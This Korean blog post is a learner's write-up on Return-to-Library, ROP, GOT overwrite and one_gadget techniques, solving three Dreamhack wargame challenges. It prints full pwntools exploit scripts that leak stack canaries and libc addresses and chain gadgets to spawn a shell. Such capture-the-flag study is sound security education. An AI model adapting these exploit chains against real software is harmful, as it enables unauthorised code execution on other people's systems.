Hacking/Pwnable

RTL and ROP

mitdog 2024. 7. 14. 21:17

RTL(Return To Library)

NX로 인해 셸코드를 사용할 수 없어졌다.
그래서 아직 실행 권한이 있는

  1. 코드 영역
  2. 코드가 참조하는 라이브러리의 코드 영역

을 이용하여 NX를 우회하여 공격하는 기법이 등장했다.

위 두 영역에 공격자가 필요한 코드가 존재하면 -> 그 코드를 가져다가 사용.
여기서 라이브러리를 사용하는 공격이 바로 "Return To Library(RTL)" 이다.

이 기법에서 필요한 것들을 적어보면,

<코드 영역에서 가져다 쓰는 경우>

  • 해당 코드의 메모리 주소

<라이브러리에서 가져다 쓰는 경우>

  • 해당 코드의 호출 주소(PLT 주소 등)

<리턴 가젯(Return Gadget)>

  • ret으로 끝나는 어셈블리 코드 조각.

구하는 방법:

ROPgadget 명령어 사용(정규 표현식으로 필터링 할 수 있음)

 

참고:
system 함수로 rip가 이동할 때, 스택은 반드시 0x10단위로 정렬되어 있어야 한다는 것입니다. 이는 system 함수 내부에 있는 movaps 명령어 때문인데, 이 명령어는 스택이 0x10단위로 정렬되어 있지 않으면 Segmentation Fault를 발생시킵니다.
(출저: dreamhack systemhacking > Exploit Tech: Return to Library)

Return to Library 문제 code review

(출처: https://dreamhack.io/wargame/challenges/353/)

#!/usr/bin/env python3
# Name: rtl.py
from pwn import *

p = process('./rtl')
e = ELF('./rtl')

def slog(name, addr): return success(': '.join([name, hex(addr)]))

# [1] Leak canary
buf = b'A' * 0x39
p.sendafter(b'Buf: ', buf)
p.recvuntil(buf)
cnry = u64(b'\x00' + p.recvn(7))
slog('canary', cnry)

# [2] Exploit
system_plt = e.plt['system']
binsh = 0x400874
pop_rdi = 0x0000000000400853
ret = 0x0000000000400285

payload = b'A'*0x38 + p64(cnry) + b'B'*0x8
payload += p64(ret) # align stack to prevent errors caused by movaps
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(system_plt)

pause()
p.sendafter(b'Buf: ', payload)

p.interactive()
part 1. 카나리 릭
# [1] Leak canary
buf = b'A' * 0x39
p.sendafter(b'Buf: ', buf)
p.recvuntil(buf)
cnry = u64(b'\x00' + p.recvn(7))
slog('canary', cnry)

스택의 구조는

을 보면, 알 수 있다.

  1. ret address push
  2. push and mov sft(=rbp)
  3. rsp - 0x40(=buf)
  4. QWORD PTR [rbp-0x8], rax (Canary)
  5. ....

프롤로그를 분석해 보았을 때, 다음과 같은 그림이 그려진다.


buf : rbp - 0x40
canary : rbp - 0x8
rbp(=sfp) : rbp
ret : rbp + 0x8


part 2. return to plt
# [2] Exploit
system_plt = e.plt['system']
binsh = 0x400874
pop_rdi = 0x0000000000400853
ret = 0x0000000000400285

payload = b'A'*0x38 + p64(cnry) + b'B'*0x8
payload += p64(ret) # align stack to prevent errors caused by movaps
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(system_plt)

pause()
p.sendafter(b'Buf: ', payload)
  1. 코드 상에 있던 "/bin/sh"를 쓰기 위해


에서 알아낸 주소인 0x400874를 사용.

  1. system@plt의 rdi값으로 "/bin/sh"를 주고 system@plt로 ret 하기 위해서 pop rdi; ret를 ROPgadget으로 찾아서 사용.

    1. system@plt는 두 가지 방법으로 찾을 수 있다.
    1.  
  1.  

- pwndbg로 찾기
-> $ plt 혹은 $ info func @plt


- pwntools의 메서드 이용하기.
-> (e = ELF(...) ... e.plt['system'])

 
final, payload

 

payload의 구조를 순서대로 설명해 보자면

  1. 38개의 버퍼 오버플로우용 값
  2. part 1에서 leak한 카나리 값 (카나리 우회)
  3. 8개의 sfp를 덮기 위한 값
  4. system@plt의 정상 작동을 위한 정렬 값

(이것을 왜 ret로 넣어줬는지는 잘 모르겠다. 추측하기로는 ret을 넣어줌으로써 아무일도 일어나지 않기 때문에 그런 것 같다. ret는 pop rip; jmp rip;과 같다. payload에서 ret 부분에 도달하면 다음 줄의 주소(=pop rdi; ret)를 rip에 넣고 거기로 가는. 한마디로 그냥 한 줄 아무일 없이 지나가는 역할이기 때문에 정렬용으로 넣어준 것 같다(맞는지는 모르겠다)..)

  1. pop rdi; ret + "/bin/sh" + system@plt

이 셋은 같이 봐야 한다. 추가로 다음을 인지해야 한다.

  • pop rdi => rsp가 가리키는 값을 rdi에 넣어 준다
  • ret = pop rip; jmp rip; => rsp가 가리키는 값을 rip에 넣어 주고 rip으로 이동 한다
  • pop을 할 때 rsp는 가리키는 값을 건네 주고 다음 줄을 가리킨다

메인 함수의 return <- rsp
("pop rdi; ret"가 적힌 gadget)
"/bin/sh"
system@plt

 

("pop rdi; ret"가 적힌 gadget)
"/bin/sh" <- rsp
system@plt
:: 이때 pop rdi가 실행

 

("pop rdi; ret"가 적힌 gadget)
"/bin/sh"
system@plt <- rsp
:: rdi에 rsp의 값인 "/bin/sh"가 들어가고 rsp는 system@plt로

 

ret
system@plt <- rsp (rdi에는 "/bin/sh"이 들어가 있다)
:: 그럼 gadget에서 남은 ret이 실행되며 셸을 얻는데 성공한다

ROP

plt에 원하는 함수가 없는 경우는 어떡할까?
그에 대한 해답이 ROP이다. (= libc로부터 가져다 쓴다)
ROP는 RTL과 비슷하나, 필요한 것들을 구하는 방법이 다르다.

  1. libc의 주소를 알아야 한다
  2. 필요한 함수의 libc로부터 떨어진 offset 값을 알아야 한다

1번을 해결하기 위해서, 코드에서 쓰이는 libc의 함수들을 살펴본다.
예를 들면, 대상의 코드 속에 read, printf 등의 함수들이 쓰이고 있다고 하자. 그러면 그 함수들의 plt, got를 따라가면 libc 속 그 함수의 주소를 얻을 수 있고, 그 함수의 offset값을 알아내어 그만큼 빼주면 그게 바로 libc의 주소이다.

2번은 이제 단순해진다. libc를 알았다면 원하는 함수의 offset만 알면 된다. libc의 주소 + offset을 참조하면 우리가 원하는(system 등) 함수를 실행시킬 수 있게 된다.

ROP 문제 code review

(출처:https://dreamhack.io/wargame/challenges/354/)

#!/usr/bin/env python3
# Name: rop.py
from pwn import *

def slog(name, addr): return success(': '.join([name, hex(addr)]))

p = process('./rop')
# p = process('./rop', env= {"LD_PRELOAD" : "./libc.so.6"})
e = ELF('./rop')
libc = ELF('./libc.so.6')

# [1] Leak canary
buf = b'A'*0x39
p.sendafter(b'Buf: ', buf)
p.recvuntil(buf)
cnry = u64(b'\x00' + p.recvn(7))
slog('canary', cnry)

# [2] Exploit
read_plt = e.plt['read']
read_got = e.got['read']
write_plt = e.plt['write']
pop_rdi = 0x0000000000400853
pop_rsi_r15 = 0x0000000000400851
ret = 0x0000000000400596

payload = b'A'*0x38 + p64(cnry) + b'B'*0x8

# write(1, read_got, ...)
payload += p64(pop_rdi) + p64(1)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(write_plt)

# read(0, read_got, ...)
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(read_plt)

# read("/bin/sh") == system("/bin/sh")
payload += p64(pop_rdi)
payload += p64(read_got + 0x8)
payload += p64(ret)
payload += p64(read_plt)

p.sendafter(b'Buf: ', payload)
read = u64(p.recvn(6) + b'\x00'*2)
lb = read - libc.symbols['read']
system = lb + libc.symbols['system']
slog('read', read)
slog('libc_base', lb)
slog('system', system)

p.send(p64(system) + b'/bin/sh\x00')

p.interactive()

카나리를 우회하는 과정은 동일하므로 생략한다.

GOT Overwrite 시나리오
  1. read의 got를 알아낸다.
  2. read의 got와 read의 offset으로 libc_base를 구한다.
  3. libc_base와 system의 offset으로 system의 주소를 구한다.
  4. 근데 여기서 더이상 쓸 수 있는 버퍼가 없기에, read를 한번 더 불러준다.
  5. 불러준 read를 통해 구한 system의 주소 + "/bin/sh"문자열을 보낸다.
  6. Overwrite한 read_got를 부르고 거기에 "/bin/sh"을 인자로 준다.
part 1. plt와 got, 가젯들 구하기
read_plt = e.plt['read']
read_got = e.got['read']
write_plt = e.plt['write']
pop_rdi = 0x0000000000400853
pop_rsi_r15 = 0x0000000000400851
ret = 0x0000000000400596
  • read_plt = ELF 메서드로 구하기
  • read_got = ELF 메서드로 구하기
  • write_plt = ELF 메서드로 구하기
  • pop rdi; ret 가젯과 pop rsi; ret 가젯

($ ROPgadget --binary "./rop" --re "pop rdi")

($ ROPgadget --binary "./rop" --re "pop rsi")
그냥 pop rsi; ret인게 없고, pop r15까지 달려있는 것만 있어서
저걸 쓸 수 밖에 없다.

  • system의 movaps 정렬 조건 통과하기 위한 ret 가젯

P.S) read와 write의 레지스터 인자들

pop rdi와 pop rsi가 필요한 이유이다(read & write를 할 거니까)

 
part 2. write read_got

 

# write(1, read_got, ...)
payload += p64(pop_rdi) + p64(1)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(write_plt)

rdi에 1, rsi에 read의 got를 적어주고 write_plt를 부른다.
(여기서 rdx에 대한 값이 없는데, 찾아보면 rdx값이 따로 안적어도 문제 없는 크기로 들어가 있다고 한다...)
그럼 read의 got를 출력하게 된다.

 
part 3. find libc_base & system from read_got

 

p.sendafter(b'Buf: ', payload)
read = u64(p.recvn(6) + b'\x00'*2)
lb = read - libc.symbols['read']
system = lb + libc.symbols['system']

출력한 read의 got를 recvn(6)로 읽는다. 이때 6byte만 읽는 이유는 libc의 주소가 6byte이기 때문이다.
libc_base = (read의 got) - (read의 offset)로 libc_base를 구하고,
system = libc_base + (system의 offset)으로 system의 주소를 구한다.

 
part 4. GOT Overwrite (read to system)

 

# read(0, read_got, ...)
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(read_plt)
...
p.send(p64(system) + b'/bin/sh\x00')

"rdi = 0, rsi = read_got 적힌 주소"로 read함수를 실행한다.
read_got 적힌 곳을 우리가 원하는 주소로 바꾼다.
바로 위에서 구한 system의 libc 주소이다.
추가로 우리가 할 것은 system("/bin/sh")이기 때문에, 문자열 또한 적어둔다.

 
part 5. Overwrite된 got로 셸 얻기

 

# read("/bin/sh") == system("/bin/sh")
payload += p64(pop_rdi)
payload += p64(read_got + 0x8)
payload += p64(ret)
payload += p64(read_plt)

ret은 system의 movaps 정렬 조건을 위한 더미이다.
나머지가 중요한데, rdi에 아까 넣어둔 "/bin/sh" 문자열을 저장해 준다.
그리고 read_plt를 부르면, 이는 아까 system으로 overwrite 해 놓았기에 system 함수가 실행되고 rdi에 넣어둔 값인 "/bin/sh"를 가져다가 쓴다.

one_gadget

 

여러 개의 가젯을 조합하는 ROP/RTL을 간편하게 한 가젯만으로 셸을 획득할 수 있도록 한 도구이다.

제약 조건을 만족시키는 원 가젯이 있다면 그걸 사용하면 된다.

Example)
$ one_gadget ./libc.so.6


이걸 이용한 exploit은,

  1. libc_base를 여느때처럼 구한다
  2. libc_base + (사용할 one_gadget)을 payload의 ret부분에 보내기.
    그러면 바로 셸을 얻을 수 있다.

(복잡하게 write - read - got overwrite.... 이런 과정 없이)

oneshot 문제 code review

(출처: https://dreamhack.io/wargame/challenges/34)

from pwn import *  

p = process('./oneshot')  
e = ELF("./oneshot")  
libc = ELF("./libc.so.6")

stdout_offset = libc.symbols["_IO_2_1_stdout_"]  
one_gadget_offset = 0x045216

p.recvuntil("stdout: ")  
stdout_address = int(p.recvuntil('\n')[:-1], 16)  
libc_base = stdout_address - stdout_offset  
one_gadget_address = libc_base + one_gadget_offset  
payload = b'A'*0x18 + p64(0) + b'B'*0x8 + p64(one_gadget_address)

p.sendafter("MSG: ", payload)

p.interactive()
취약점 분석

여기서 보면, 친절하게도 stdout의 got를 출력해준다.
그것을 이용해 libc_base를 구하고, one_gadget을 ret에 덮어주면
셀을 얻을 수 있을 것으로 보인다.

part 1. 필요한 가젯, offset 구하기
stdout_offset = libc.symbols["_IO_2_1_stdout_"]  
one_gadget_offset = 0x045216 // or 0xf1147

$ one_gadget ./libc.so.6

사실 제약 조건은 잘 모르겠다.
그래서 대충 저 가젯들을 일일히 때려박아 봤다.
0x45216과 0xf1147이 가능한 one_gadget 이였다.

part 2. libc_base 구하고 payload 보내기
libc_base = stdout_address - stdout_offset  
one_gadget_address = libc_base + one_gadget_offset  
payload = b'A'*0x18 + p64(0) + b'B'*0x8 + p64(one_gadget_address)

buf의 주소가 rbp-0x20, sfp는 0x8짜리이므로
0x20 + 0x8 만큼 덮어주고 one_gadget을 넣어주면 된다.
(근데 여기서 왜 버퍼 마지막에 반드시 null(='\0') 을 넣어줘야 하는지 잘 모르겠다.. 그냥 덮어버리면 안되는 이유를..)

'Hacking > Pwnable' 카테고리의 다른 글

Type Error  (0) 2024.07.18
원하는 주소로 return 시키기  (0) 2024.07.12